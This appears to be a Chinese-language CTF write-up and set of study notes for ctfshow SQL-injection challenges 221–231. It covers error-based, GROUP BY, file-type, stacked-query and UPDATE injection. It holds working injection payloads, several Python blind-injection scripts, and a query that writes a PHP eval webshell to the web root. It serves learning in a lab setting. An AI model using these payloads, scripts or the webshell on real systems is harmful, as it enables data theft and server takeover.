开启其他注入
web221
limit注入
给出查询语句 以及过滤逻辑为空 获取数据库名即可
limit 用于控制返回结果行数
limit后面似乎只能跟PROCEDURE ANALYSE( ) 函数了
PROCEDURE ANALYSE( ) 函数用于分析查询结果的函数 参数是用来控制函数的
这个参数的位置 可以放入报错函数
原查询语句为select * from ctfshow_user limit ($page-1)*$limit,$limit;
payload为?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)
结合后变为select * from ctfshow_user limit (1-1)*7,7 procedure analyse(extractvalue(1,concat(666,database(),666)),1);
这里报错 为什么666就可以报错 应是~报错 其实真正的是‘~’报错 666为整形所以会导致报错
路径是字符串 到这里 我试了一下'666'结果也能报错 这里记住最好就是使用非法字符即可 也有可能是因为concat拼接的问题
尝试 tzy 'tzy' 123 '123' ~ '~' 哪些可以
123 '123' '~' 可以 其他不可以
在报错注入的时候~的位置 如果~不行(正常报错会说路径出错,不正常的情况会说你的sql语法有错误) 使用十六进制的代替 0x7e 0x3a也是路径的非法字符 代表:
刚刚看了一下不是~不行 而是 需要使用单引号引起来 这样就成功使路径报错了
然后又发现一个关键知识 就是
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
这个payload方式bp后 发现返回400 这个400代表请求的语法有问题 然后发现该payload放入浏览器中好使
最后发现 在bp的url位置 空格要换为%20 意思也就是 以后记住两点 bp的url位置 要记得url编码 以及400代表客户端有语法问题
我一直以为是获取不到服务器内容
web222
group by 注入 我以为是使用group by的报错注入那种 结果不是
依旧很简单给出后端语句 并且无过滤机制
有个去重 点击后会将username类进行分组
正常情况盲注脚本
import requests import string url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/" result = '' dict=string.ascii_lowercase+string.digits+"_-}{"#定义一个变量dict 包含 小写字母 数字 以及_}{等字符 # 爆表名 payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 #payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'" #爆字段值 #payload = "select flagaabc from ctfshow_flaga" for i in range(1,46): print(i) for j in dict: s = f"?u=if(substr(({payload}),{i},1)='{j}',username,cot(0))#" r = requests.get(url+s) if("ctfshow" in r.text): result +=j print(result) break
这里其实有个问题(特别乱) 我看username其实是正常返回结果
通过判断返回值是否存在ctfshow即可 我在脚本中测试cot(0)的时候 返回值是空的 我就想着cot(0)换成一个不存在的列应该也是空的 结果发现乱套了 cot(0)的位置还不能乱写呢 不存在的列有可能也不行 他有可能也会返回第一行数据 甚至可能?u=ctfshow 但也不会返回结果
然后cot(0)前面的username位置到服务器段就能不会变成‘username’的形式 而cot(0)位置如果写username 则会变成 ‘username’的形式 从而输出一行数据
反正特别乱 记住一点 进行盲注的时候多观察不同值得返回值 最好通过关键字进行准确查询
这个cot(0)的位置 无论你是不是cot(0)还是 都要手动尝试一下返回值
其实这道题算好的 已知第三个字符为c 这样就可以观察cot(0)位置如果换别的字符是否结果有变化 如果 没有已知条件那就操蛋了
为什么0的时候 虽然返回第一行数据 但是结果级全是a 那是因为第一行结果级里面存在ctfshow然后就退出当前循环 到达下一层循环a的时候又是存在ctfshow 所以结果里面只有a
经过上面测试发现 知道为什么用cot(0)了 传参是字符串传过去的 tzy 00 到服务器都变成了字符串 从而只返回第一行数据 而cot(0)传过去 会当做函数 从而无结果数据
说的很乱 我做这道题的时候 cot(0)的位置用的0 关键字使用的是passwordAUTO 这样 可以
最后发现 我估计是啥 如果数据库中存在指定列 传入的时候 他就会正常 如果不存在指定列他会当做字符串常量
那也无法解释为什么if(1=1,username,usernames) 会返回空 f(1=1,username,username) 不返回空
还有一个脚本y4师傅的 没看呢有时间研究一下
import requests url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/" result = "" i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 # 查数据库 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 查列名字 # payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1" # 查数据---不能一次查完越到后面越不准确 payload = "select flagaabc from ctfshow_flaga" # flag{b747hfb7-P8e8- params = { 'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);" } try: r = requests.get(url, params=params, timeout=1) tail = mid except Exception as e: head = mid + 1 if head != 32: result += chr(head) else: break print(result)
第三种脚本
group注入 我们可以进行延时盲注也可以进行布尔盲注 我这里用延时盲注 例如 group by if(1=1,sleep(1),1) 但要注意的是,group by会向下一直查询,数据库里总共有21条数据,如果我们是sleep(1)则是停顿21秒 盲注脚本 import requests import time url = 'http://fce6038b-d911-4e45-9fef-95acc7ea7c82.challenge.ctf.show/api/?u=' url2 = ' &page=1&limit=10' str = '' for i in range(60): min,max = 32, 128 while True: j = min + (max-min)//2 if(min == j): str += chr(j) print(str) break # 爆表名 # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')" # 爆列 # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')" # 爆值 payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.05),'False')" url0 = url + payload + url2 start_time = time.time() r = requests.get(url=url0).text end_time = time.time() sub = end_time - start_time if sub >= 1: max = j else: min = j
web223
比上一题多加了一个要求 用户名不能是数字
判断
?u=if(true,username,a) 空
?u=if(true,username,'a')正常
也就是说 如果服务器中存在传入的列 会正常查询 如果不存在返回为空 并且a会影响username 也会返回空 'a'在服务器当做字符串常量 返回首行数据
本来想着和上一题用同样的方法
s = f"?u=if(substr(({payload}),{i},1)='{j}',username,'a')#"但是发现substr不能使用数字进行截断了
解决办法 直接将数字换为字符的形式也是可以的
该脚本和上一题的第一个脚本对应
import requests import string url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/" result = '' dict=string.ascii_lowercase+string.digits+"_-,}{" # 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'" #爆字段值 payload = "select flagasabc from ctfshow_flagas" def numToStr(str): parts = [] for s in str: parts.append(numToStr2(s)) res = ','.join(parts) return f"concat({res})" def numToStr2(num): parts = [] n = ord(num)#先转换为ascii的值 这里虽然传入的num是字符串形式的数字 那也无所谓也会正常输出49 for i in range(n):#举个例子 如果数为1 ascii为49 parts.append("true") #添加49个true res = "+".join(parts)#将数组以+进行连接生成一个新的字符串 return f"char({res})" for i in range(1,46): #print(i) for j in dict: params={ 'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"#这里cot(false)改为'a'也是一样的效果 但是关键字不能是ctfshow了 因为'a'会返回第一行数据 里面也存在ctfshow a就不行了哦 直接影响 ?u=username } print(type(numToStr(str(i)))) r = requests.get(url, params=params) # print(r.url) if("ctfshow" in r.text): result +=j print(result) break
第二个脚本
import time import requests def make_num(i: int) -> str: return '+'.join("true" for _ in range(i)) url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/" # 表名 ctfshow_flagas,ctfshow_user # payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}" # 列名 id,flagasabc,info,id,username,pass # payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}" # flag payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}" true_flag = "passwordAUTO" def valid_payload(p: str) -> bool: username = f"if({p},username,'a')" response = None while True: try: response = requests.get(f"{url}", params={"u": username}) except: continue break return true_flag in response.text index = 1 result = "" while True: start = 32 end = 127 while not(abs(start - end) == 1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format(make_num(index), make_num(everage))): start = everage else: end = everage if end < start: end = start if chr(end) == "!": break result += chr(end) print(f"[*] result: {result}") index += 1
第三个脚本
import requests def generateNum(num): res = 'true' if num == 1: return res else: for i in range(num - 1): res += "+true" return res url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/" i = 0 res = "" while 1: head = 32 tail = 127 i = i + 1 while head < tail: mid = (head + tail) >> 1 # 查数据库-ctfshow_flagas # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 查字段-flagasabc # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'" # 查flag payload = "select flagasabc from ctfshow_flagas" params = { "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')" } r = requests.get(url, params=params) # print(r.json()['data']) if "userAUTO" in r.text: head = mid + 1 else: tail = mid if head != 32: res += chr(head) else: break print(res)
web224
登录页面
存在一个敏感文件
可以修改密码 修改登陆后是个文件上传 不是文件上传漏洞 是文件类型注入
文件类型注入讲解
正着说实在是不会 倒着说 两个文件源码
上传文件源码
<?php error_reporting(0); if ($_FILES["file"]["error"] > 0)//上传文件书时是否报错 如果报错退出 { die("Return Code: " . $_FILES["file"]["error"] . "<br />"); } if($_FILES["file"]["size"]>10*1024){ //查看上传文件的大小如果太大 也是提示并退出 die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />"); } if (file_exists("upload/" . $_FILES["file"]["name"]))//查看upload下有没有和该文件名一样的文件 如果存在输出文件已经存在 { echo $_FILES["file"]["name"] . " already exists. "; } else { $filename = md5(md5(rand(1,10000))).".zip";如果不存在 //两次md5加密一个随机数 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);//获取文件的MIME类型 if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){ //不能是常见的文件类型 die("file type error"); } $filepath = "upload/".$filename;//定义文件位置 //这个双引号使用来拼接的 $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"; move_uploaded_file($_FILES["file"]["tmp_name"],//将临时目录下的文件 移动到upload下 "upload/" . $filename); $con = mysqli_connect("localhost","root","root","ctf");//连接数据库 if (!$con)//没连上 输出报错信息 { die('Could not connect: ' . mysqli_error()); } if (mysqli_multi_query($con, $sql)) {//执行sql语句 如果成功执行 跳转到filelist.php header("location:filelist.php"); } else { //输出报错的查询语句 以及报错内容 echo "Error: " . $sql . "<br>" . mysqli_error($con); } mysqli_close($con); } ?>
文件列表源码
<?php error_reporting(0);//不输出报错信息 echo "<center>FILE LIST</center><hr><br>"; $con = mysqli_connect("localhost","root","root","ctf");//连接数据库 if (!$con) { die('Could not connect: ' . mysqli_error());//没连接上报错 } $sql="select filename,filepath,filetype from file";//查询数据库中的filename filepath filetype $result=mysqli_query($con,$sql);//执行sql语句 echo "<ul>"; if(mysqli_num_rows($result)>0){//如果查询结果大于一行 while($row=mysqli_fetch_assoc($result)){//遍历每一行数据 进行输出 echo "<li>"; echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>"; } echo "</li>"; } echo "</ul>"; ?>
该题获取文件类型的方式 不看文件后缀以及Content-Type 我尝试发现 一个空的文件 什么后缀 什么类型都能上传 但是一但 内容中有内容了就不行了 他应该是根据内容判断文件类型的
源码中获取文件类型的函数是
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
通过
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
这行代码获取的是文件的描述信息,而不是严格意义上的 MIME 类型 他不根据Content-Type 和后缀进行判断而是根据内容
整理一下流程 首先修改密码成功进入文件上传页面 但并不是文件上传漏洞 而是 文件类型注入
服务器根据文件内容判断文件类型 我上传了三种内容不同的文件 PC64 ZIP 以及空文件
回显显示他输出了文件路径 文件名 文件类型 这时候盲猜 就是服务器获取上传文件的这三个信息后 存入数据库中 然后在数据库中进行查找输出 注入的位置也看运气 盲猜服务器存数据格式为
insert intoxxx xxx xxx values (“filepath”,“filename”,“fileextra”) 插入的时候这个类型在最后一个位置 其实刚刚说运气也不对 就算不是最后一个位置 也能构造出来再前面补一位 在后面 补上注释 和云演中有道题很像 构造sql语句为
insert intoxxx xxx xxx values ('filepath','filename','filetype')
payload:'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+
这个filepath filename filetype 肯定是变量 服务器肯定使用拼接
"INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');" (回过头来发现 这个拼接的"和 构造的"无关)
这时更改payload为(这里增加的”为的是闭合文建注释的")
"'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+
由与木马中可能存在单引号等 对于sql来说的非法字符 或影响sql语句的字符 所以使用十六进制
"'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzy.php';--+
然后现在如果判断类型 当前文件内容类型全是文本 会判断成text类型 所以提交的时候是非法的
改为不在黑名单的类型
C64File "'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzys.php';--+
此时的payload 写入11.txt文件中
服务器首先根据C64File 判断该文件类型为合法的
先说一下 这是payload.bin文件 --+前面属于文件头部(里面包含着文件类型以及文件注释) 多个点后面为文件内容 此题获取文件类型会将整个头获取到 将C64File 识别为PC64 Emulator file文件类型 将后面的内容识别为文件的注释信息 如果一个文本文件只写当前文件头的内容 服务器也会把内容当做文件头 一个意思所以我们就用1.txt即可
通过修改源码 瞬间就能懂
提交刚刚的payload 看返回值
判断完合法后 将整个文件头插入到 数据库中
传入的内容为
C64File "');select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into outfile '/var/www/html/77.php';--+
服务器获取的filetype为
PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"
整个插入语句为 橙色为服务器获取的文件类型
INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');
因为我们构造了引号语句就变为了
INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');
到这里我才明白构造第一个双引号不是为了闭合 变量拼接用的双引号 因为拼接完后双引号就没了 该方法获取的文件头后会将注释使用双引号 引起来 所以该构造的双引号是为了闭合
这个注释的引号
这样就能成功将PC64 Emulator file插入数据库中 并且执行够早的sql语句
提交tzy.txt 文件内容为 payload
蚁剑连接 查找flag
之前提交了一个普通的zip 和 txt 普通文件 和一个PC64型并且构造payload的文件
当时我就注意到了 为什么PC64后面有两个双引号
讲完就立马明白了
他是把整个 PC64 Emulator file "" 插入数据库中的
在之前提交一句话木马的时候 他们都是使用<?=`$_POST[0]`;
当时我就想着自己弄一个正常的<?php eval($_POST[0]);?>
结果我弄了好久都弄不明白 我用010打开上传成功提示的zip文件 发现内容啥的没毛病
然后 我就想着echo一下$sql 看看执行的sql语句是不是有问题 结果真是这里有问题
这是<?=`$_POST[0]`; 正常的回显
这是<?php eval($_POST[0]);?> 不正常回显
发现语句被截断的 然后又看了一下源码 发现
mysqli_multi_query
函数执行sql语句的时候 有默认的最大查询长度限制
使用工具exiftool 他们是使用工具进行的 等全都做完 回头看看这个工具怎么弄
想着尝试一下zip的注释能不能被获取到 使用winrar 添加一个123456789的注释 发现finfo对象获取不到zip的注释 PC64的方式估计是啥 恰好 文件类型和文件注释 都是可以被finfo一同获取到的
搜了一下 发现ai回答的差不多吧
记住这个PC64 这种方法 即可 可能zip也行 但是我没成功 反正是跟元数据有关
服务器返回302 并不代表提交的数据不成功 而是跳转别的页面了
蚁剑只能连接post的
这道题陆陆续续弄了4个点 学到很多 说实话要是全程贼认真 2个点完事了
以逆向的方式学习的这道题
web225
给出语句以及过滤点 使用bp看看什么方式传参
她是访问api页面进行传参 返回是一个json格式的响应
本来以为给的sql语句中{}也是一部分 发现 根本没用 不需要闭合 举个例子 如果查询
?username=ctfshow}';show%20tables;%23 这就查不到ctfshow的内容
而?username=ctfshow';show%20tables;%23 就可以查询到ctfshow的内容
首先获取表名
ctfshow';show tables;%23
发现有个ctfshow_flagasa的表 但是过滤了union select等
第一种方法
可以使用handler代替select
payload
ctfshow';handler%20ctfshow_flagasa%20open%20as%20hd;handler%20hd%20read%20first;%23
handler ctfshow_flagasa open; 先打开一个表 这是必须的
handler ctfshow_flagasa read first; 读取表的第一条数据
第二种方法
payload
ctfshow';Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;#
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)这样也可以
payload
ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#
这里我想着 既然能用concat拼接 我直接正常拼接一个select 结果本地测试发现不行
web226
和上一题没啥区别 用上一题的试试 发现不对 不能使用show 和( 不能查看表名 和 使用预编译
预编译 concat的(不能用了 使用 十六进制依旧可以
先说一个稍微题外的知识
如果只是过滤引号的话可以用unhex()和hex()组合绕过,这里分享一下
'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
1. abc转成16进制是616263
2. 616263转十进制是6382179
3. 用科学计数法表示6e6+382179
4. 套上unhex(hex()),就是unhex(hex(6e6+382179));回到题目中来
如果使用预编译payload为
ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#
concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;')转为原有格式
select * from ctfshow_flagasa 转换为十六进制为0x
这是时候表名也不对 先使用show tables 转16进制0x73686f77207461626c6573
payload变为ctfshow';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#
这个语句其实是对的 为什么不对呢 因为前面有ctfshow了 在这道题中 正常查询ctfshow也是不成功的 我用bp试了一下 无论用户名在数据库中是否存在 都不影响结果的输出 但是唯独ctfshow不可以 服务器的逻辑 可能是 如果发现存在ctfshow 直接退出返回空结果
payload改为?username=';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#单引号前面随便放值都可以ctfshow除外 得出结果 ctfsh_ow_flagas表
select * from ctfsh_ow_flagas 转换为十六进制为0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173 发现不对 纳闷了
payload为1';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE stmt;#
然后发现 同样的字符串 在不同网站转换的十六进制竟然有细微的不一样的 原因是因为不同的工具或网站在处理字符编码时采用了不同的方式 也可以使用数据库中的 select hex("字符串"); 获取十六进制的值
字符串转换十六进制 我使用这个网站对于这道题来说是正确的
而且我还发现一件事 就是 这个注释不加竟然也是可以的 构造中的;就结束语句了 如果不构造这个; 就会报错 不构造;就需要加上注释 了 这个时候 虽然语句末尾没有分号 依旧是可以执行成功语句的
既然知道表名了 使用handler 也是可以的 同理末尾不需要分号也可以
还要说一点哦 就是73686f77207461626c65733b 这个3b不能转换十六机制 必须谢伟
73686f77207461626c6573;
web227
逗号也给过滤了
过滤逗号 上一题 也能用
show tables;
';Prepare%20stmt%20from%200x73686f77207461626c6573;EXECUTE%20stmt;
查不到flag表
select table_name from information_schema.tables where table_schema=database()
';Prepare%20stmt%20from%200x73656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE%20stmt;
也查不到flag表
难道不在这个数据库?
select schema_name from information_schema.schemata
';Prepare%20stmt%20from%200x73656c65637420736368656d615f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461;EXECUTE%20stmt;
发现多个数据库 没有一个和flag有关的 一般情况下flag就在当前数据库中呀 也就是ctfshow_web这个数据库
只能看大佬wp了
知识点 有时间可以好好看看
mysql存储过程
mysql存储过程
这题和mysql的information_schema.Routines有关 flag就在里面
这个表中存储的是 存储过程 以及 函数信息 存储过程和函数 是什么呢?
简单理解就是 一个函数/工具 需要的时候就调用
语法
select * from information_schema.routines where routine_name='sp_name';
sp_name为存储过程或函数的SPECIFIC_NAME字段的值(可以理解为某一函数的名字) 我们不知道于是只写select * from information_schema.routines 即可 他将输出所有的存储过程及函数信息
payload
1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;
得到falg
如果有些情况下 不允许输出大量数据 可以使用(mysql 不区分大小写哦)
先查询routines中的列名有哪些
select column_name from information_schema.columns where table_name = 'routines'
十六进制编码后为73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327
payload为:1';prepare yu from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327;execute yu;
json解析后发现 不存在flag什么的 结果发现是SPECIFIC_NAME 是存储过程和函数的名称
于是 查找一下函数的名字有哪些
select SPECIFIC_NAME from information_schema.routines
payload为1';prepare yu from 0x73656c6563742053504543494649435f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;
得到flag的名字 getFlag getFlag可以理解为函数名字
于是
select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'
这块 我弄了好久 又是转16进制的问题 我就纳闷了 结果是空格的问题 因为我有的paylaod是复制别人的再改改 这个时候导致复制过来的时候有些地方空格 左右会出现十六进制a0(空白字符) 然后呢 最搞笑的是 我已开始以为都是空格 我就把一个空格一个空白字符删除了 到时剩下一个a0 然后呢进行十六进制后 传参导致失败
真的很无语 弄了1个点才搞清楚原因 我还以为SPECIFIC_NAME不行呢
select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'
73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727
payload1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727;execute yu;
json解码 更规范点查看
select * from information_schema.routines where routine_name = 'getFlag' 也是可以的这里面
routine_name=specific_name的值 我不知道正常情况下相不相等
插一个知识点 如果知道函数名了 使用call调用 1';call getflag();
存储过程中(函数)getflag的内容为SELECT \"ctfshow{599e25f8-02a0-4811-9aaf-59daa809dc35}\"
调用后则执行该内容 这时flag就能被输出了
堆叠的数据 不会被浏览器获取到 抓包或者看网络包是可以的 然后呢 之所以堆叠的数据不会被浏览器获取 我认为的原因是 返回数据中有固定字段 浏览器只获取指定的字段 其余的虽然在返回的内容集合中 但是浏览器不管 只管他想要的
哈哈 还真被我说对了 测试了一下 虽然不知道源码是什么样的 但是也被我猜中了
payload
1';prepare%20yu%20from%200x73656c6563742069642c757365726e616d652c706173732066726f6d2063746673686f775f7573657220776865726520757365726e616d65203d2027757365723227;execute%20yu;
成功输出到浏览器中
web228/web229/web230
其他人的wp说是228 229 230 三道题都用226的方法 先试一遍 然后看看banlist数据库里面有什么过滤的
web228
虽然给出了sql的语句 但是过滤不知道过滤了 什么
show tables
payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#
存在三个表
select * from ctfsh_ow_flagasaa
payload ';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE stmt;#
得出falg
看看使用 handler的方式行不行
';show%20tables;%23 差表肯定是不行了 估计过滤逗号和show 一会看看
因为已经知道表名了直接用handler试试
';handler%20ctfsh_ow_flagasaa%20open%20as%20hd;handler%20hd%20read%20first;%23
发现是可以的
查看banlist表看看过滤机制吧
本来想着直接用handler 方便 结果忘记了 这是一行一行输出的 还得用预处理的方式
select * from banlist
';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;
也确实过滤了show 但发现里面竟然有handler 但是我刚刚使用handler一点问题没有呀 哈哈 搞不懂
web229
同理试试web228的两种方法
show tables
payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#
select * from flag
payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c6167;EXECUTE stmt;#
使用handler 看看 不可以了 这个成功被过滤了
看看过滤机制 和上一题竟然一样 上一题能用handler 这一题用不了
';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;#
web230 同理
show tables
payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#
select * from flagaabbx
payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE stmt;#
依旧显看一下handler 获取不到
看看过滤机制 和上一题依旧是一样的
updata注入开始
web231
先说一下正常的update 更新语句
update users set username=123,password=666 where id=1
该语句的意思是 更新users表中 id=1的行 将username改为3 password改为666 如果没有where条件会将所有用户的账号密码都更改为3和666
此题
update ctfshow_user set pass = '{$password}' where username = '{$username}';可以构造payload
注意注意注意 我写这个payload又出现问题了 和上面有一个问题一样 不知道是不是csdn 要记住有的时候可能空格是空字符 十六进制20被执行会成功 而a0不会成功 我的解决方法是把看起来两个一样的payload 转换16进制 就能发现这个问题 空格被转换为20 而空字符被转换成a0
update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}';
写不写where 1=1 都可以 都一个意思
传参不知道是get还是post 一个一个尝试即可 发现时post
这里还有一个问题 就是 虽然用不上传参的username参数 但是必须要写 估计是啥原因 就是服务器会判断是否存在username这个参数 如果不存在 就不执行sql语句了 直接返回原有结果 如果执行成功 只返回一个成功的提示
正确的情况
查看当前数据库表都有哪些
password=6s66',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') where 1=1#&username=
得到了flaga表
突发奇想直接*出来 不用查看字段值了
password=6s66',username=(select concat_ws(*) from ctfshow_web.flaga) where 1=1#&username=
发现不行
还是正常情况弄吧
查看flaga 表 字段有哪些
password=6s66',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga') where 1=1#&username= 注:不要忘记单引号
查看flagas字段值
password=6s66',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=
问题解决
update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}'; 这个时候我想着把database() 换成 show tables; 我还觉得为啥不对呢
之后想了想发现真是个笑话 在mysql中 show databases 和 show tables 是命令行直接输出
前面的题之所以能用show tables 是因为 那是堆叠注入 在分号后执行的 所以可以执行show命令
而这道题 他是在一个语句里面 里面只能使用函数或者select语句 会有返回值作为username的值
我真的是对自己无语总想太多问题 比如我又想 里面只能是select语句和函数吗 别的可以吗? 我想的一点屁用没有 记住select和函数能用就行 又想了 如果返回空 或者报错 语句会被执行嘛 我想的太多 一点用没有 语句报错 语句肯定不会被执行 就比如刚刚的show 我执行后 发现结果没变 那就代表语句没有被成功执行 如果空值 无非两种可能一种不执行语句 一种 执行后 结果就是空的 刚刚我试了一下 如果空值 整个语句都不会执行
盲注脚本 有时间可以学习一下
在盲注中 我又想到了一个问题
update ctfshow_user set pass = '{$password}' where username = '{$username}';这个语句 最后是有分号的 但是 我构造后变为
password=1&username=ctfshow' and if(1,1,0)#
update ctfshow_user set pass = '{$password}' where username = 'ctfshow' and if(1,1,0)#';
这个注释把分号注释了竟然还可以
然后我主动加上分号也是可以的
password=111&username=ctfshow' and if(1,1,0);#
那就试试不用注释呢 不用注释 不行 才看到 后面还有个单引号 反正如果是语句最后面 有没有分号应该都是可以的
时间盲注
import requests url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/" table_name = 'flaga' flag = 'flagas' result = '' # 数据库名 # payload = "database()" # 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'" # 爆字段值 payload = f"select {flag} from {table_name}" for i in range(1, 50): head = 32 tail = 127 while head < tail: # sleep(1) mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半 #print(mid) data = { 'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#", 'password': 0 } try: r = requests.post(url, data, timeout=2.5) tail = mid except: head = mid + 1 # sleep导致超时 if head != 32: result += chr(head) print(result) else: break
第二个脚本
布尔盲注 有个注意的地方时 这里面password为什么每次都要变值 是因为 如果连续语句正确 成功更新密码为1后 再次更新密码为1 哪怕语句成功执行 但是 也会返回更新失败 这个时候如果更新密码为2 则显示更新成功
import requests url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)# #************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'" #--------查flag sql= "select group_concat(flagas) from flaga" #************************************************************************************************************************************************************* payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#" #计数 n = 0 for i in range(1, 666): for j in str: params = { 'username' : payload.format(sql,i,j), 'password' : "{}".format(i) } res = requests.post(url = url, data = params) #print(res.text) if r"\u66f4\u65b0\u6210\u529f" in res.text: flag += j n += 1 print('[*] 开始盲注第{}位'.format(n)) 